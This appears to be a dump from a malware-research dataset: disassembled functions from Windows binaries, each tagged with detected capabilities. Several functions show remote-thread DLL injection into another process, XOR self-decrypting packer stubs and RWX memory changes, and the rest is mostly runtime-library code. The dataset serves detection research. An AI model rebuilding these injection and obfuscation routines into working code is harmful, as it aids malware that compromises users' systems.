joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.ConsoleWindowClass]
mov ax, word [0x402138]
mov word [ebp - 0x20], ax
mov al, byte [0x40213a]
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x1e], al
movups xmm0, xmmword [0x40213c]
mov eax, dword [0x402164]
push esi
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x60]
movups xmm0, xmmword [0x40214c]
push edi
push eax
movups xmmword [ebp - 0x50], xmm0
lea eax, [ebp - 0x30]
movq xmm0, qword [0x40215c]
push eax
movq qword [ebp - 0x40], xmm0
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
push esi
push 0x402168
call fcn.00401010
add esp, 8
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x64]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x64]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x40
push 0x1000
push 0x1000
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
push esi
push 0x402174
call fcn.00401010
add esp, 8
push 0
push 0x300
push str.D:cMFCcall
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x60]
push eax
push 0x402188
call fcn.00401010
add esp, 8
push 0
push 0
push esi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040116a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x40196f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4019ae
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4019ae
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4019ae
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4019ae
cmp dword [ecx + 0x74], 0xe
jbe 0x4019ae
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xe31190
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe3119a
pushal
call 0xe311a0
pop ebp
sub ebp, 0x10
sub ebp, 0xa31190
jmp 0xe311b6
mov eax, 0xa31190
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b8
mov edx, 0x37478bab
xor byte [eax], dl
inc eax
dec ecx
jne 0xe311cd
jmp 0xe311e0
and byte [esi + 0x20], ah
and dl, byte [edi + 0x2aababab]
push 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test al, 0x66
adc ebp, dword [ebp + 0x11ababab]
sub dword [ebx + 0x495cabab], 0xffffffa8
arpl word [eax], sp
sub ah, byte [edi - 0x57545455]
outsb dx, byte [esi]
sti
sti
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409e0c
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.00403520
mov eax, dword [ebp - 0x18]
call fcn.00403520
mov eax, dword [ebp - 0x1c]
call fcn.00403520
xor eax, eax
push ebp
push 0x409f10
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
mov eax, dword [ebp - 0x14]
call fcn.00403530
push eax
mov eax, dword [ebp - 0x18]
call fcn.00403530
mov edx, eax
mov eax, dword [0x40c650]
pop ecx
call fcn.00409d94
pop ecx
test al, al
je 0x409ef5
mov eax, dword [ebp - 0x1c]
call fcn.004048ec
test al, al
je 0x409e86
mov eax, dword [ebp - 0x1c]
call fcn.00403530
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
push ebp
push 0x409eda
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x1c]
call fcn.00403530
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409ee4
mov eax, dword [ebp - 0x10]
call fcn.00404520
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409f17
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403140
ret

Function at 0x40208b
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push 0
push 2
push 0x404052
push 0x404044
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
jne 0x402103
mov byte [0x404067], al
push 0x404067
push 0x404070
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
cmp eax, 1
jne 0x402103
call fcn.00403535
push edx
mov eax, eax
push 0
push 2
push 0x404052
push 0x404054
call dword [sym.imp.Winmm.dll_mciSendStringA]
pop edx
add edx, eax
push edx
push 2
push 0x404069
push 0x404070
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
pop edx
add dl, byte [0x404069]
add edx, 0x100
call edx
xor eax, eax
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403570
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x40
push ebx
push eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
ret
Function at 0x4029d4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x40e020]
test eax, eax
je 0x402a13
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402a13
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402a13
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402a13
cmp dword [ecx + 0x74], 0xe
jbe 0x402a13
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x405980
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42eab0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43d0b4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.00410f1e
mov edi, eax
add esp, 4
test edi, edi
je 0x405a2b
push 1
mov dword [ebp - 4], 0
call fcn.0040f8aa
mov dword [edi + 4], eax
add esp, 4
mov dword [esi + 0x30], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4092b0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ee7d
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push esi
push edi
mov eax, dword [0x43d0b4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
push 0x10021
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call fcn.00410f1e
add esp, 4
test eax, eax
je 0x409496
lea esi, [eax + 0x23]
and esi, 0xffffffe0
push 0xfffe
push 0
push esi
lea edi, [esi + 0xfffe]
mov dword [ebp - 0x10], esi
mov dword [esi - 4], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
call fcn.00412ae0
add esp, 0xc
mov dword [ebp - 0x24], edi
cmp dword [0x43e26c], 8
mov eax, 0x43e258
mov dword [ebp - 4], 0
cmovae eax, dword [0x43e258]
push eax
push 0x7fff
push esi
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edx, eax
mov ecx, 3
mov dword [ebp - 0x1c], ecx
cmp edx, 0x7ffe
jne 0x409433
test ecx, ecx
jle 0x409433
mov ecx, edi
sub ecx, esi
sar ecx, 1
lea esi, [ecx + ecx]
cmp esi, ecx
jae 0x4093ad
mov eax, dword [ebp - 0x10]
lea edi, [eax + esi*2]
jmp 0x4093eb
jbe 0x4093ee
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x10]
sar eax, 1
cmp esi, eax
jbe 0x4093d9
lea eax, [ebp - 0x11]
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.00401d70
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
jmp 0x4093ee
sub esi, ecx
add esi, esi
push esi
push 0
push edi
call fcn.00412ae0
add esp, 0xc
add edi, esi
mov dword [ebp - 0x24], edi
cmp dword [0x43e26c], 8
mov eax, 0x43e258
mov esi, edi
cmovae eax, dword [0x43e258]
sub esi, dword [ebp - 0x10]
push eax
sar esi, 1
push esi
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, dword [ebp - 0x1c]
mov edx, eax
lea eax, [esi - 1]
dec ecx
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
cmp edx, eax
je 0x409390
mov edi, dword [ebp - 0x38]
xorps xmm0, xmm0
push edx
push esi
mov ecx, edi
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.00401750
test esi, esi
je 0x409483
mov ecx, dword [ebp - 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x409479
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409496
push ecx
push esi
call fcn.00410f4e
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00415b7f
int3
Function at 0x40e620
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [ebx + 0x10]
push 4
add eax, eax
push 0x3000
mov dword [ebp + 0xc], eax
add eax, 4
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x40e66d
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40e720
mov dword [eax], str.Failed_to_remotely_allocate_page_with_VirtualAllocEx__
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebx + 0x14], 8
mov dword [ebp - 4], 0
jb 0x40e67c
mov ebx, dword [ebx]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40e704
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
jb 0x40e704
push 0
push 0
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x40e6dc
push 0x8000
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40e720
mov dword [eax], str.Failed_to_create_run_remote_thread_with_CreateRemoteThread__
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40e720
mov dword [eax], str.Failed_to_remotely_write_dll_path_with_WriteProcessMemory__
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40f6a7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0040f683
pop esi
leave
ret 8

Function at 0x411a77
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x411ab6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x411ab6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411ab6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x411ab6
cmp dword [ecx + 0x74], 0xe
jbe 0x411ab6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x420ed9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x435330
push 0x435328
push str.FlsAlloc
push 0x1f
call fcn.00420dc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x420f0d
push dword [ebp + 8]
mov ecx, esi
call dword [0x4301b4]
call esi
jmp 0x420f13
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x420f57
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x435340
push 0x435338
push str.FlsGetValue
push 0x21
call fcn.00420dc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x420f8e
push dword [ebp + 8]
mov ecx, esi
call dword [0x4301b4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x420f96
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x435348
push 0x435340
push str.FlsSetValue
push 0x22
call fcn.00420dc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x420fd0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4301b4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4226a4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004111c0
mov eax, dword [0x43d0b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041f127
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4226e6
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x422842
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042dfb0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43ed28]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00423449
mov ecx, dword [esi*4 + 0x43ed28]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x42283b
cmp eax, dword [ecx + edi + 0x24]
jne 0x42283b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42283b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00423449
add esp, 0x14
test edx, edx
jl 0x42283b
jg 0x4227b1
test eax, eax
jb 0x42283b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42283b
jl 0x4227cb
cmp dword [ebp - 0x1008], eax
ja 0x42283b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4227e9
test ebx, ebx
je 0x422822
cmp ecx, edi
jae 0x422822
mov al, byte [ecx]
cmp al, 0xd
jne 0x422803
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42280f
cmp byte [ecx + 1], 0xa
jne 0x42280f
inc ecx
jmp 0x42280f
movzx eax, al
movsx eax, byte [eax + 0x43d348]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4227e9
cmp edx, ebx
jne 0x4227e9
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x422840
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004111b2
leave
ret
Function at 0x4228e1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43ed28]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x422921
cmp byte [ebx], 0xa
jne 0x422921
or byte [edi + eax + 0x28], 4
jmp 0x422926
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x422a25
mov dl, byte [eax]
cmp dl, 0x1a
je 0x422a08
inc eax
cmp dl, 0xd
je 0x422952
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x422978
cmp eax, ecx
jae 0x422986
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x42293a
jmp 0x422a25
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422a03
cmp dword [ebp - 0x10], 0
je 0x422a03
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x43ed28]
test byte [eax + edi + 0x28], 0x48
je 0x4229dd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4229c8
mov byte [esi], dl
jmp 0x4229d9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43ed28]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x422a25
cmp byte [ebp - 1], 0xa
jne 0x4229ec
cmp esi, ebx
jne 0x4229ec
mov byte [esi], 0xa
jmp 0x422a24
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00423467
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x422a25
mov byte [esi], 0xd
jmp 0x422a24
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x43ed28]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x422a22
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x422a25
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x422a2e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x43ed28]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x422a74
cmp word [ebx], dx
jne 0x422a74
or byte [eax + edi + 0x28], 4
jmp 0x422a79
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x422bdc
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x422bbc
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x422aba
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x422af0
cmp eax, edx
jae 0x422afe
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x422a95
jmp 0x422bdc
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x422bb7
cmp dword [ebp - 0x18], 0
je 0x422bb7
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x43ed28]
test byte [eax + edi + 0x28], 0x48
je 0x422b8d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x422b51
mov word [esi], cx
jmp 0x422b88
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x43ed28]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x43ed28]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x43ed28]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x422bdc
pop eax
cmp word [ebp - 4], ax
jne 0x422b9d
cmp esi, ebx
jne 0x422b9d
mov word [esi], ax
jmp 0x422bd9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00423467
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x422bdc
push 0xd
pop eax
jmp 0x422b98
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x43ed28]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x422bd6
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x422bdc
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret